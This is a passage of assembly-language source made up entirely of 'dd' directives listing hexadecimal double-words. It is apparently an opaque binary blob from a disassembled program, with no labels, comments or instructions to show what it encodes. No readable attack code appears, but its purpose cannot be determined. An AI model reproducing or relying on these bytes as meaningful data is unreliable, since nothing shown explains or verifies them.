		dd 55DC00EAh, 0ABD447CBh, 1872F88Ch, 6BF9C000h,	0F20ACC88h
		dd 951200E8h, 0C41A10E6h, 78F8779Fh, 0D90070FCh, 0FBF2F87Dh
		dd 761F0Eh, 0AB9BBB05h,	944A8C26h, 8E7B9000h, 4B9FBC01h
		dd 9DC400DFh, 0E8D602CBh, 0A6F259FBh, 3C1C1900h, 20A864FFh
		dd 6AA028Bh, 0F0CF22CBh, 61F056C3h, 6C0524B1h, 8F9A289Ch
		dd 62B01E87h, 0F732E76Fh, 0A8DAADCh, 60537BE2h,	558C0094h
		dd 5D892082h, 16297F00h, 3CE1FA2h, 7D510068h, 0B22890FCh
		dd 612C8C5h, 0CC0012F4h, 0CE390E16h, 0ACB01CA1h, 0CB254920h
		dd 4476C100h, 4C3FEB28h, 0E90D002Bh, 0BF845FF7h, 6430031h
		dd 0FEBAEAE8h, 0EC730C88h, 1CEB4500h, 575302Dh,	0ACDA1E31h
		dd 5CF100E8h, 3A7FD25Ah, 340A6E03h, 0F8C825D8h,	1DFEB31h
		dd 22BBE414h, 0C42E6440h, 0B40F2919h, 9C2649h, 0DC75C3E0h
		dd 0A6525851h, 5AFBCD04h, 0A08D80EEh, 6000273h,	7D80DB31h
		dd 727C9AEBh, 12CA000Ah, 42D10104h, 8758A4ACh, 570C1FFDh
		dd 0E948F7Ah, 0E99D009Ah, 3C610ABAh, 0C6004454h, 5A18A104h
		dd 9E7F8B59h, 15D8331Dh, 302AF880h, 0E80A2274h,	803C0072h
		dd 37097739h, 0C0F7DB6Bh, 6C003BE4h, 12AC0B6h, 3E5080C3h
		dd 1A0B9403h, 0D68AE958h, 46178Dh, 1277A7DEh, 1077D4FFh
		dd 390C093Dh, 26B3807Ch, 0AB74EA1Ch, 4F1F0086h,	24C2ACDCh
		dd 0C12488DFh, 6E029DFFh, 0E070523Ch, 75015Ah, 0DE348D0Ch
		dd 4A0F06D8h, 43F0B60Fh, 669D8024h, 0F4406Dh, 0AA08CC6Eh
		dd 7F88C111h, 0F1816F00h, 41276112h, 4A1800CAh,	2102C604h
		dd 93C2564h, 34D08E7Bh,	6919C066h, 2C0111BEh, 3FE87Dh
		dd 0B955D39Dh, 0DC074D87h, 97D5D129h, 5D8DA330h, 20120061h
		dd 0F29D1399h, 53007368h, 44F9800Bh, 0B0C8D074h, 2A600EB4h
		dd 40DE580Ah, 826FB4B9h, 0F70023EBh, 1E575243h,	157480h
		dd 48831B4Dh, 0F95BFBC3h, 24FAE800h, 2D02B04Fh,	884E1F41h
		dd 90F7C006h, 4B758DDBh, 0F1AF3Fh, 9D038BCCh, 785848h
		dd 92598043h, 60EAE2BDh, 723AE900h, 2907C383h, 1E161E4Eh
		dd 27033942h, 9DDBC89h,	0CA75D080h, 0AF4D8D00h,	91A1F129h
		dd 0E3B72E0h, 39907654h, 0AEA7842h, 0D330F660h,	0F17B100h
		dd 8F4257B5h, 22111E15h, 3D854010h, 93ACE092h, 90017E0h
		dd 0F70E79C0h, 29E8D8h,	51875E81h, 65997E9Fh, 637B4B14h
		dd 23EA0F90h, 53D180CEh, 3E0BA88h, 520191FEh, 0D1DF220Fh
		dd 0F055A9C2h, 0F8ED89B0h, 0EF0008FDh, 3C96245Bh, 42EB05h
		dd 2122C931h, 0F9042BB0h, 0A280AC0Fh, 1235C0C8h, 38BCBEh
		dd 5DD5D1Dh, 0E391CCDh,	93005279h, 0F0713B13h, 6AD6B7h
		dd 0EBCA5D5Fh, 7C95170Bh, 9053400h, 0EABA74F6h,	3B710001h
		dd 6F77E04Dh, 0C01901Ah, 0D605091h, 2FC2A65h, 0E3291C97h
		dd 0F24F8033h, 5FB686F9h, 5040411Ch, 45C78880h,	1C52E04Bh
		dd 0DF0431E9h, 0B7FC4086h, 274EB01h, 6E98E103h,	0C047EFB3h
		dd 1FF3F77h, 0DF450E9Dh, 0E5029038h, 4440EE46h,	4E047E03h
		dd 114DF5C8h, 4B31AC0h,	7773FCB8h, 139EC92h, 0BA2576C2h
		dd 0E08A4BB5h, 0C3001B75h, 0F5F41509h, 8B0291h,	3BABE8Ch
		dd 0F87B832Dh, 2229B81Ch, 53260FC0h, 0B886FA50h, 46F201E3h
		dd 0A9E8CF0Bh, 0C155207Dh, 462873Eh, 0D9AB50C3h, 736FF680h
		dd 0FD4F035h, 2024B211h, 34E6BF40h, 9600F1FAh, 63824BD5h
		dd 7B7D59E3h, 900C0111h, 0CE2E0809h, 0E8D7F830h, 0E45C0F00h
		dd 0F6034167h, 0CC7C00FEh, 1BD5169h, 87009124h,	96CF38D1h
		dd 52B785h, 0C564FA48h,	0A4A7C4E1h, 391F5E00h, 0F09401DAh
		dd 100200BBh, 0E3D44513h, 0D300277Dh, 0E05AB67Ch, 3ACA2BC1h
		dd 0D6603B78h, 0F8E3321Ch, 4D759100h, 3EE6EAEh,	0F685008Dh
		dd 7B9854EFh, 0C0F57EBh, 0C05C40h, 2C23B38h, 437D7Ch, 0DDDB0330h
		dd 645157B2h, 62722F00h, 0A6B4BA7h, 0AA470095h,	0EC7D4F39h
		dd 923E2A34h, 0EEB0F2Dh, 2563E08Dh, 0E419F6h, 4118C5Eh
		dd 3490DCA4h, 7ADD6105h, 61870DD8h, 8EE84B20h, 0FBC100A5h
		dd 0D92A1179h, 351CDC01h, 16C0D848h, 0AA406EBh,	5A050013h
		dd 89CA0495h, 8400EE11h, 681C9D0Bh, 562E74h, 45C68510h
		dd 7E1EBAFFh, 730018ECh, 0FA3B0C4Dh, 47203Ch, 0F841F940h
		dd 0E8FE0581h, 3AD48200h, 6939FFB8h, 0EE80000Eh, 0D2121936h
		dd 600E92E7h, 471603D5h, 0D14020C2h, 9FE810h, 0AD6CD61h
		dd 0DB307828h, 0C8AE0660h, 0EA4714Fh, 0DD180886h, 1A79B40h
		dd 5EF2CB8Ah, 3B6A4C58h, 39A4BB80h, 92718770h, 8BC09757h
		dd 881EC5h, 66517231h, 0FDC79A5h, 0CF094F07h, 57D010D5h
		dd 278461h, 7E811575h, 456744A1h, 37E3C000h, 97173259h
		dd 2B8E0056h
		dd 88723810h, 407CDAF4h, 915FF800h, 0E1E44D28h,	0A6F4C8h
		dd 4FE083C1h, 21D00C03h, 0C7D91401h, 0D64BEB4h,	98CE60F8h
		dd 0B585001Dh, 0B9157672h, 0F0F0190h, 0A15AF120h, 0AED6E8B8h
		dd 7C508D47h, 13F8B2h, 66FA6C14h, 0D8FE28E7h, 0AAFD7000h
		dd 3F1A40A7h, 0CD9A0162h, 8D7FE007h, 3431EC04h,	2EE4C50Fh
		dd 7DF821E5h, 68800DFEh, 21B58682h, 167ABD3Ah, 7E772700h
		dd 72052026h, 787A67h, 33F0CE0Ch, 3F6C18FBh, 81C7FC00h
		dd 0FE465C3Bh, 94620077h, 17904815h, 30070E7Eh,	5C036618h
		dd 41FE4E21h, 0F775F8h,	0A4D2C3Ch, 0A0C18B49h, 0EF996700h
		dd 6DF16963h, 3F7C13h, 0DC8D39D1h, 0F06A2BF2h, 6CB14012h
		dd 0F3FD2B00h, 0C36231h, 23EE810Ah, 857524D9h, 7F144905h
		dd 0B5C5FD45h, 76A39C3h, 0A8427C6Ah, 7791F073h,	62037BE2h
		dd 0B1B8461Ch, 0D21BE0AFh, 0E83C392Ch, 61BA1480h, 0F82DF410h
		dd 6CE7201h, 75FF085Dh,	0C60B0EFh, 0C0E8076Eh, 0D0B6FDA2h
		dd 0C985EC82h, 2B127F71h, 0DF075ED0h, 64E00D2Ah, 5BB35F4h
		dd 8C063757h, 902BC0F0h, 7034612h, 497D834Ah, 819DE0A5h
		dd 0B1F90017h, 7C660F3Ah, 0E90206BEh, 90109ED3h, 12FDC071h
		dd 19130052h, 0F2BCED7Dh, 5004672h, 8EACBA66h, 7B3182h
		dd 9A2FB3A9h, 0A7504C3h, 4DFFB905h, 0EE000DDEh,	3E6B322Eh
		dd 74410764h, 132A56D8h, 10B04490h, 503B55Ch, 0FCC12DA4h
		dd 2E098F0h, 481E005Eh,	0E64B5288h, 5000CB2Ch, 6D07625Dh
		dd 0F14110Eh, 74778693h, 4C9CC840h, 0B400AD4Ah,	8CEC465Dh
		dd 103B63h, 15640B72h, 4002291Ch, 7FDFEB1Fh, 1A388AC0h
		dd 7DF80CC8h, 64F1001Bh, 4BF41626h, 0F207BA5Eh,	514E444Ch
		dd 342507D0h, 8060094h,	50FE1391h, 205C67FDh, 575E0011h
		dd 2590E9D6h, 0B47E00E0h, 27E85082h, 0BB019148h, 9D0EED4Ch
		dd 99F3540Ah, 43FC2B63h, 0DD530F1Fh, 28E7A65Ch,	5016230Fh
		dd 0EE09F9D8h, 0E8141002h, 6061C720h, 1EDD8015h, 0C337B81Ch
		dd 9689F104h, 0EC46C3F9h, 0AC1F0EBEh, 4B009235h, 5C7A68B0h
		dd 0A28D0071h, 0FD267712h, 9A1ECD2Fh, 514058B5h, 3894492Eh
		dd 4FFF0022h, 2DF6F3C3h, 0AF001109h, 0D79E7323h, 51D0C8h
		dd 6A621EB6h, 9499F502h, 41585700h, 0E08A6505h,	0F8F6EBh
		dd 3260B63Eh, 50895951h, 0D09F0300h, 64EBDFDBh,	1012000Bh
		dd 6233DAB0h, 6B00A7C9h, 94C65565h, 1A40D5Ah, 0B87604D2h
		dd 0DC8DD34Ch, 48000AE2h, 0CC264A01h, 0EE51554Eh, 877EA6h
		dd 5277E84Fh, 0DB4D3FE3h, 0C8004AECh, 142FBECBh, 58C64175h
		dd 551C1E44h, 0B7D0C06Ah, 7C4CB950h, 94613Dh, 444303BEh
		dd 2CDFE848h, 0F2CD24h,	0C4C6A9B9h, 400923AAh, 80857CF0h
		dd 0A00AB5B2h, 197F6C7h, 5F0EFC43h, 0C8FB14F4h,	0AE02750Dh
		dd 44748861h, 5064090h,	9B7BB9h, 0F859F913h, 0EC020698h
		dd 64AC0405h, 1DEEE4D0h, 574ECF28h, 4B6F7181h, 0C9606042h
		dd 2A001E75h, 2E8F039Eh, 0FC1CE9h, 73706C85h, 0B19C7508h
		dd 3A62860Bh, 0E1550077h, 0EE36B6Eh, 8B1CF3CBh,	1D8866A5h
		dd 0F633C7A8h, 6CC60B8h, 3000077Eh, 3C961F74h, 0E2ABB49Dh
		dd 0F0440187h, 0A59B3C5h, 0F6823FCEh, 2E10C08Bh, 2AE200B5h
		dd 0B297C44Ch, 590F44CCh, 40D4E542h, 0D0112CF2h, 29FF0012h
		dd 0C948A40Ah, 3300AF22h, 581CE1D2h, 48901h, 0B9B31F56h
		dd 77ECE23Dh, 0DF5E3Dh,	0ADE676A2h, 7CD5B4ACh, 8F170FF0h
		dd 0FCA53878h, 0C6CDC048h, 2900A4B9h, 90BBA27h,	0E1F9BAFh
		dd 5DA2D77Dh, 8F806EEFh, 0CEFD3C41h, 0C80720E9h, 54046A00h
		dd 37503056h, 0DF442568h, 16245500h, 420099BAh,	90A4D4B8h
		dd 7F4ACC7h, 4A045698h,	0FB8069FAh, 80102903h, 0AA2CA500h
		dd 0E5784296h, 0BC7E0094h, 28DC4E54h, 98008C31h, 0A6869B88h
		dd 13BA4AC6h, 7A6A42h, 5EA52FF7h, 70FACACBh, 8902807Bh
		dd 0C2D40E09h, 825AC0C1h, 25E43Dh, 75B0A166h, 0E80C5E5Ah
		dd 0DDD0F00h, 13C4F330h, 0FEDB0016h, 0C32FC2D9h, 0C0003506h
		dd 0F448A23h, 2CFF1Eh, 8F1A4E47h, 0BC16CC20h, 54FEF80Fh
		dd 9300F2C4h, 0F9558388h, 0FAE900AFh, 0D8434B5Fh, 2743B53h
		dd 0D27E3Eh, 0C7256A4Ah, 55AE9Dh, 0EB41120Eh, 0A30FE620h
		dd 144D0500h, 24731682h, 2210032h, 774CCE54h, 2B005033h
		dd 0B78EF44Dh, 7E9FBE0h, 0BA6DC53Bh, 8DC0C084h,	29005077h
		dd 0B75AF7E8h, 5C63B9C4h, 9000940Fh, 1F783352h,	55007EEBh
		dd 4882694h, 7121179h, 0A2C314A4h, 0FA56F003h, 4E039FACh
		dd 30E2B810h, 7459D898h, 736B040h, 0C4370E64h, 0F9A9B028h
		dd 0DF900FF0h, 8E006174h, 22AF2516h, 471C4D6h, 0BAF0207Ah
		dd 0A8FC04h, 671CDC4Dh,	2C5EC64h, 1A0C5903h, 1EE0B879h
		dd 373E14CEh, 0B4080065h, 0B648E82Ch, 20990024h, 522D1DCAh
		dd 4BE870A9h, 80E71000h, 0A8C48106h, 0BB3A00FBh, 5EDA90F5h
		dd 850054E0h, 24D6D07Ah, 710BCF8h, 810D48D7h, 411BF0BDh
		dd 1C00752Fh, 0EE5C987Ah, 0E88BFD44h, 25A000D4h, 469437E8h
		dd 23017542h, 0EC971C9Ch, 48F02259h, 4F6100B5h,	95A0056Ah
		dd 90014EBh, 4A339D2Bh,	20CCC5h, 0E85CB227h, 45759331h
		dd 8842D01Fh, 24FEF300h, 11196h, 0BB125F22h, 130A7C54h
		dd 2D05BF00h, 0A915A685h, 0E809003Ch, 69D61C4Fh, 0BB002145h
		dd 0E0F31E12h, 0B5D831h, 0CE4D59E3h, 36D022Bh, 832EFF00h
		dd 4B58BFD5h, 26360065h, 3F9DA4C2h, 5D0038A1h, 0FB40254Eh
		dd 0ECF32DEAh, 4947000Ch, 0F4A49541h, 0A1FE3B6h, 28C01B6Bh
		dd 0C896C0Dh, 0F8C60F67h, 420CAACh, 0B026CC91h,	0B4448600h
		dd 9F6BBF06h, 0A4B800D2h, 54FBC10h, 0C0509DA5h,	6FCC4B6h
		dd 0C800BDEAh, 8D22CC64h, 90504AA3h, 0A48C0EDCh, 0BC40BA86h
		dd 60078B63h, 806BC63Dh, 520FB6B4h, 2E01A6h, 45859009h
		dd 0D98C6FC0h, 242C4C00h, 6A107944h, 0D0A10013h, 7F80F0C2h
		dd 1A012A61h, 409F0F2Fh, 9A70C8C4h, 7A9700CFh, 0E6B4035Ah
		dd 6A7F2736h, 8ACA5100h, 7CE966A8h, 10680013h, 99EDA920h
		dd 7B00480Bh, 494F1191h, 0EA406E43h, 98FAD3h, 0D217A33Bh
		dd 8D7D30ABh, 0B3044700h, 9BBA693h, 0DDDB0184h,	742D2915h
		dd 90DE4302h, 0E65A41B8h, 7D4A7200h, 5212C3Dh, 4D6E008Bh
		dd 3B022408h, 0F5000789h, 0C3C7B5FCh, 5810DBCFh, 5A009471h
		dd 0EC598B7Eh, 8003A234h, 0FC9182B7h, 0F3C095B4h, 3E6CFEh
		dd 5A8F59F5h, 7E03C48Dh, 0BAF82000h, 5292B102h,	9A7E6B7h
		dd 78800498h, 0BE00AA74h, 691B6693h, 168D0034h,	0F254090Eh
		dd 52000429h, 0BA086365h, 36A1D79h, 331720F3h, 16C309DBh
		dd 0E0D62BC8h, 0FB803F07h, 3BC07F06h, 2E5DDD34h, 0DF8E4h
		dd 150F0EF1h, 0C3010C8Bh, 85B0D8E8h, 0FB709CB8h, 0DAE63A5Dh
		dd 0EF1DEB8Ah, 2EC6059Dh, 0FDDBC0D3h, 55B88B04h, 77FA8503h
		dd 806DE41Fh, 0C7089h, 0A0915A59h, 8880B494h, 0E42D0A03h
		dd 0A281A54Dh, 0D0B88053h, 67744Ah, 600F060Bh, 7216EA83h
		dd 0EB100403h, 90F8A123h, 0E421DDDFh, 74400FCh,	0C50477C1h
		dd 340062C9h, 0CFF14858h, 247DC752h, 0ABDC50h, 0BCE9776Eh
		dd 0BF01D35Fh, 0F3E07432h, 6F83CCCh, 0CFE200FCh, 297FB0C4h
		dd 0BD00C27Ah, 168F720Ch, 67E8D3h, 0D40DA092h, 0C0A10BB9h
		dd 0AF001898h, 0E43B57F0h, 7667DC6h, 0EECF869h,	100BC33Fh
		dd 927CF4D0h, 50E88060h
		dd 555AC01h, 68C1A1E0h,	0FB0A8058h, 0FC00EA51h,	0A5666F64h
		dd 0B191CEh, 117FB762h,	0D3D52DE0h, 0F0466909h,	60558041h
		dd 894831h, 5BB56FCCh, 0B9BC72AAh, 8C41FC2Ch, 63A6813Dh
		dd 0C183040Ah, 1F2DF4CCh, 3AFDBBh, 9AC02456h, 8900AF4Eh
		dd 0B683252h, 0F61F41Bh, 0D61D655Ch, 6A0D4680h,	8403FB91h
		dd 0FE1EDDEAh, 2353D814h, 3C100055h, 8EEB7C72h,	0E204471Fh
		dd 0BB379F33h, 0C13596C2h, 10203030h, 408C012Fh, 0E424AA25h
		dd 0B095201Dh, 36C30307h, 5E50604h, 2B30487h, 9D09CB08h
		dd 200C9C03h, 160EF80Dh, 1A840090h, 687013E8h, 93EE6675h
		dd 3825B10Fh, 84FEE0D8h, 985C8A9h, 54CEE6EAh, 86AC7080h
		dd 4839B042h, 84A9032Ah, 0BB298267h, 2EAD812h, 7B8300A8h
		dd 0F7F6114h, 7C00A522h, 0B4496847h, 589C88h, 26961873h
		dd 782F7024h, 0C748018h, 7D6212h, 15235AF0h, 87B3850Fh
		dd 0B614B17h, 0A6164307h, 2470E471h, 719684FCh,	66D900A4h
		dd 0A114B8FCh, 2500DA48h, 658B378Dh, 32E0A95h, 0E81F39B9h
		dd 16E02AA7h, 2098B464h, 57335007h, 0C0C0BE8Bh,	3AC4443Ah
		dd 3DBC990Bh, 4210C883h, 0B5F87DCCh, 522D0DD0h,	7F5500D4h
		dd 1F883386h, 0A1AC44h,	8DCABCE4h, 89E82410h, 96633401h
		dd 5AEB2948h, 0E9490D4h, 5C4A98C8h, 0A0C09CCEh,	0A832A4C4h
		dd 0C1F317Eh, 95D8102h,	265C80CCh, 0E0696285h, 6E606E22h
		dd 0A702A68Ah, 0BA8918C9h, 4963E003h, 3CB700BEh, 0E9CA8BD5h
		dd 65FCD28Ch, 0DDBC7400h, 0B327ED7Ah, 8343077Ch, 39EFC89h
		dd 0C2B8D00Bh, 0CB0103FDh, 74917208h, 3430641Dh, 2273002Ch
		dd 0EFA85EC3h, 0F400553Bh, 5969CCA7h, 17D73017h, 0FDED83h
		dd 0E1E0DD7Dh, 0A176F001h, 7D0B6600h, 855EA488h, 5D4000A5h
		dd 38FF4C15h, 61DB292h,	0BE004657h, 8835905h, 0C99407F0h
		dd 0F7CDDBh, 8257E815h,	0F6B82503h, 0B0216ACAh,	7F90C432h
		dd 858400D4h, 0AC456C26h, 0F67F8139h, 0FECA9800h, 4DA2A32Eh
		dd 0A1D81D42h, 0DF670180h, 0CC202162h, 5600FC44h, 0C77FA719h
		dd 728D0C1h, 54FA4802h,	8320FE0Bh, 50798A98h, 3AA9A83Eh
		dd 183DD8h, 0D1E88980h,	1788B6h, 948A8278h, 7F913967h
		dd 9E4C2100h, 0DDA5E0ECh, 851C4889h, 0FECB1907h, 3D10A032h
		dd 2A0040C6h, 9F09010Ch, 72350671h, 0C5B00372h,	131A65B4h
		dd 9226BBE8h, 0A9A73400h, 8FA8DA24h, 0E47D56h, 0D8449821h
		dd 0DF23E828h, 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h,	415782FFh
		dd 8A503201h, 0B1AA3054h, 58AE6100h, 0EE6DA2Dh,	60D000A3h
		dd 549E1042h, 8F0009D4h, 0C7D82808h, 0DC940Ch, 0BE0B846h
		dd 1407529Eh, 8080B93Bh, 9C696E3Bh, 10E68Eh, 0C4B632BEh
		dd 80661397h, 7AC23C02h, 60E07760h, 0E18A64h, 4CA29179h
		dd 40F56E42h, 4EF73900h, 8598DFEBh, 27C00F6h, 300C8A12h
		dd 914CE181h, 444849h, 44B2E906h, 1C26CE2Ch, 80800140h
		dd 83490579h, 4100FEC9h, 4FBB07Bh, 102B207h, 658A13EBh
		dd 7A4A3C38h, 2FC224C0h, 6C5E035Fh, 423796C4h, 0B563DD8h
		dd 0F0074EAh, 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h, 1EC93390h
		dd 5607C500h, 2FCCF814h, 5C1F1C1h, 0BB5460h, 9CF04CB4h
		dd 0F21217A0h, 537A8E00h, 0BC4E1440h, 568B5884h, 0DA1C3100h
		dd 479130AFh, 25FE3F00h, 0ABDE13F8h, 0BBAA0716h, 0B0B6F117h
		dd 72012C02h, 8E741500h, 3947CEA8h, 0BC70049h, 0FADC7516h
		dd 0E800F43Ch, 0BC8AC52Ah, 6C8D24h, 0ACBE0460h,	6C70375h
		dd 0EDCC0900h, 0F8463F1Eh, 0F5F2A3h, 0E312F713h, 89028D61h
		dd 965C66F2h, 951D003Dh, 0FFE281C3h, 0EFE50203h, 0BFFC6284h
		dd 60E8F7C1h, 4E00ACEBh, 37D7A06Ah, 3B159449h, 88009547h
		dd 2AF509F7h, 0C3000F73h, 50085EF9h, 1D5540C5h,	409C926Ah
		dd 0F6013347h, 8A0025EBh, 0D1063544h, 7D05Ch, 72D8042Ah
		dd 87884316h, 82CDF53Fh, 0AB0D4926h, 0CCF26007h, 0B7500CBh
		dd 2C683EEh, 0E003255Fh, 7A2A1D0Ah, 0CC50F040h,	5A1800AAh
		dd 0B9A8285Dh, 10EC086Bh, 75496900h, 6D53F92Ch,	7C9842h
		dd 0FBE82A14h, 0BF1BEAFAh, 4500B1F6h, 0E05135Eh, 1567DAh
		dd 22EB92C7h, 7940505Ah, 0DF14BA00h, 0B3C35281h, 1F5C001Dh
		dd 74ECB808h, 331329ADh, 13004F79h, 0A51BBA9Bh,	2AB40022h
		dd 0A28670B9h, 0DF0353F0h, 308A0448h, 341CF899h, 138207EEh
		dd 807DE949h, 0F1A24C3Ah, 1400B1F0h, 1D0FBA2Ch,	0F88AB788h
		dd 4131EF2h, 3C0EC02Eh,	0E44AA9F3h, 196E4C16h, 0A280351Dh
		dd 2FB120F4h, 0A51D01BAh, 0C8F59037h, 88A4FCDCh, 0D11F3Bh
		dd 2D7B5D3Ch, 0E468A3h,	0F8B8292Ah, 8D4C4D2h, 2044B41Fh
		dd 5AC8007Bh, 0B804EFD8h, 942860FCh, 6D1EBA3Ah,	751FB77Bh
		dd 0CCDDD022h, 53CFB3Fh, 1AB83155h, 8FF26272h, 0CF29CFEDh
		dd 3C3FDE0Ah, 0F8510108h, 0F48ACB3Dh, 79C865E0h, 34251D72h
		dd 0D64A8047h, 0FC1A469Dh, 45E4BA00h, 1FB263D3h, 0CA143EF0h
		dd 643FC403h, 87A96823h, 0A675DC10h, 57721F0h, 3CC0E507h
		dd 0BA90F462h, 0F847FCh, 3A8A0CF2h, 6EE24C3h, 68001B7Ch
		dd 100A211Ch, 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh, 0F928912Ch
		dd 0F949DA00h, 4160F0Ch, 7DB875F0h, 0DDABC0E3h,	0F500BA99h
		dd 0B2F46E29h, 0ECA4A4Eh, 0CC3025D4h, 6D064400h, 647D2F39h
		dd 43FCDD0Fh, 30E2358h,	722CD020h, 266C3E3h, 0CE8618Ah
		dd 1D007051h, 96684C42h, 60F6F924h, 4120D831h, 501E724Dh
		dd 51004AE1h, 0B88B440Fh, 3AB3008Ch, 0DB84CE52h, 7300FB19h
		dd 530B108Eh, 262CCBBh,	37811D7h, 65404B7Fh, 77008312h
		dd 859F2AC6h, 0E2D0EB43h, 88680053h, 3F094091h,	0B2007548h
		dd 98F1864Ch, 1531821h,	0A32347E8h, 0D925BD38h,	5A06EC3Dh
		dd 0B60A5Ch, 13406974h,	3D21E992h, 3E7CA84Bh, 73030744h
		dd 8F72466Bh, 617053E8h, 45F86300h, 0A2416478h,	97AB1D10h
		dd 0B2C2C0BBh, 58045D6Ch, 0C800E698h, 0C798928Eh, 3011DC42h
		dd 0E46E8924h, 0DAC1B0E8h, 22A88F93h, 4844E0F8h, 31075DA0h
		dd 0B0189198h, 21286490h, 4048881Eh, 5C328085h,	0F4268800h
		dd 3C704431h, 6887C8FCh, 9E601C9Dh, 58891040h, 24033C12h
		dd 61884C50h, 9178D048h, 7C403011h, 2C993864h, 131E30F0h
		dd 2841220Ch, 24D22045h, 31848C4h, 10B1B899h, 0A2077813h
		dd 51706E08h, 0C0BC3153h, 77B361F8h, 30F03D81h,	0E80318BCh
		dd 48D4BE01h, 28E0548Ah, 223E29DFh, 88DC0FA1h, 0C4666019h
		dd 24B044D8h, 33A6267h,	0D0183238h, 0CA88CABh, 801D24CCh
		dd 601DC872h, 45FC41Fh,	0ACC03C4Eh, 0EBC2484h, 0B8249912h
		dd 0B4396883h, 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh, 0E4F0F5A8h
		dd 0D0FCA43Ch, 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h, 940F4CE4h
		dd 905CC4CCh, 8C39A3A0h, 88E87CFCh, 24CF48FAh, 38E0AC84h
		dd 7CEFD80h, 1CF47Ch, 68281178h, 89740F18h, 70EE4C04h
		dd 0DEBF64AEh, 0FBFAC6Ch, 44ED683Ch, 0F8FAF71Eh, 5CF36007h
		dd 2FE2F84Dh, 3EC8F274h, 0CBA9458h, 0CFF454BAh,	60475014h
		dd 914CF13Ch, 0F840F930h, 0EFFD1814h, 0CAF0BCF3h, 9FC700Ah
		dd 7D97E800h, 81BA2098h, 80510995h, 0E0803F60h,	7446724Eh
		dd 36BC4105h, 0FA8025B9h, 74450AB8h, 0F3133AFCh, 4A82F980h
		dd 0A4095517h, 10015F01h, 0D2B8057Dh, 7EC099E9h, 0B1483907h
		dd 0E5500C02h, 5A40800Fh
		dd 202107Dh, 18BF0372h,	2C7F40FBh, 9B831F4Ch, 0D0FCC08Bh
		dd 282DF876h, 317FFF00h, 86730232h, 0F3E11CC8h,	0B48D007Eh
		dd 4AA87449h, 66FC400Fh, 0EBA4A2C1h, 0E76D6123h, 0B0B60FC0h
		dd 0FB80009Bh, 0BC37401h, 9007704h, 6C30BFF3h, 7EB03Bh
		dd 1AB8B302h, 4F9D140Dh, 2F588E0Fh, 8C44A0A1h, 10917BEh
		dd 763352A3h, 0E011D825h, 88028F4Bh, 0AAC81B1h,	2B57E0C0h
		dd 0C3B01F82h, 86E64084h, 2D3D1480h, 6D55AA12h,	0E04DFC0Fh
		dd 0CA83BE5h, 11F007Fh,	7CFDF983h, 0C97E0B1Ah, 4E861C00h
		dd 4A3E80AAh, 0A0401F27h, 0F766C02Fh, 0D8F320D9h, 0BF1CEB00h
		dd 8F42C311h, 19740091h, 2F8E2C5h, 8A001508h, 6623A2E0h
		dd 0A20E86ABh, 2A54C0C3h, 4081007Fh, 0E3FE3306h, 2B00F225h
		dd 5EAB6293h, 0F48A0B14h, 8B8C0F29h, 116049D2h,	2BB48719h
		dd 86081C01h, 27204EAh,	0EB09330h, 0E65D8A45h, 0E455BF00h
		dd 0BDF8AA4Ah, 3B6DD21Ch, 90E2EBC0h, 83067Dh, 0D7DAF7A7h
		dd 0B1E46A6Fh, 0C4008AE0h, 8B5092AAh, 32DC61h, 258C35F7h
		dd 5B23F1Dh, 49430A01h,	0ED15D50Bh, 8BE980E7h, 0AA040709h
		dd 10F8DC3Bh, 4B735852h, 830E0F98h, 0A01D12FAh,	5638BA05h
		dd 496F00E2h, 0EB04D6B5h, 0DB013328h, 0E03A8889h, 48C0C11Dh
		dd 0F60300B3h, 43DC8AF3h, 1488EACh, 4B0D002Dh, 3DA0F475h
		dd 0C57C031Eh, 4AEAEB32h, 0C3FF1AA8h, 3C2EE358h, 0C058073h
		dd 27F97541h, 26CF072Bh, 708EC3F7h, 81891D8Ah, 46A43200h
		dd 220B6452h, 0F211CF1h, 0D93A0004h, 0E9027F76h, 8DDDCC00h
		dd 1A9B9C09h, 0C9241790h, 48F805h, 1E74D03Ch, 7E537651h
		dd 7A293B48h, 0AE92AA8h, 3E80C8Ch, 0F7CC0784h, 595B407Fh
		dd 0E2014312h, 0AC0BEBDCh, 7DC04A35h, 5C00041h,	0EADFC42Bh
		dd 26B8B701h, 0BA402A00h, 0BDE7602h, 1720029Bh,	289958F7h
		dd 2DFDACE0h, 831A473Fh, 0F97E05D4h, 0EB48DBB6h, 1C51F9A3h
		dd 0C07FFBECh, 1BF52E10h, 6A391338h, 3600FD20h,	33C81067h
		dd 299D28h, 99593577h, 6E1940D0h, 0D9D60B1Eh, 69269C40h
		dd 7B2B202Fh, 4470007h,	4FEE0990h, 0E9EAC1EAh, 136BC200h
		dd 8C5AE8Fh, 5D770Bh, 0DE4F1673h, 68C61B28h, 0F0578D00h
		dd 5A80E84Ch, 9C220081h, 4BE96CBAh, 591F13F4h, 60C79001h
		dd 80F7B951h, 0C0A0A4C7h, 0FE6F2B7h, 0E3AFF599h, 3D46EF20h
		dd 7400344Ah, 0F9C70C17h, 0D11166h, 16207536h, 1A7E2A52h
		dd 145B3900h, 990F4C0Eh, 54FC079Bh, 3046BA33h, 403421EBh
		dd 0B716C30Eh, 8745C019h, 0DA74D7h, 55F0F73Bh, 4E775D05h
		dd 1C042498h, 0D0E9FB26h, 8BF00BBh, 3CAC1DE3h, 374272Ch
		dd 4D228039h, 103E9620h, 0EF560060h, 648AEDE2h,	47F1906h
		dd 52450B07h, 0C373020Dh, 3AAC88C0h, 0D0F400C4h, 0F7141BB2h
		dd 0FF00E7EBh, 89BBA865h, 18E318Ch, 0A1C76630h,	0F08693BFh
		dd 0F8125588h, 88006106h, 0D1267423h, 3925E430h, 2C002EE1h
		dd 33C697F3h, 352E44C1h, 3A398931h, 653B3Ah, 1896DF36h
		dd 0D78B46h, 424039EBh,	0D32D4CD8h, 1EDBFE01h, 0CABF79DAh
		dd 83C7D4h, 0F7D9E880h,	0EC5589C1h, 3E60CB00h, 0EB01F8A2h
		dd 71A400B6h, 1432AF43h, 0A7002DAEh, 0A1B42B93h, 9C0FFAh
		dd 0FBC1B801h, 589666EBh, 116BEC00h, 2703F80Eh,	0A6D83DA0h
		dd 4EE5C180h, 0E02D6EBDh, 4FD58709h, 0E4E7006Ah, 222C35Bh
		dd 6084482Ah, 61E06B29h, 0E48BA13h, 0C20776A2h,	5721C385h
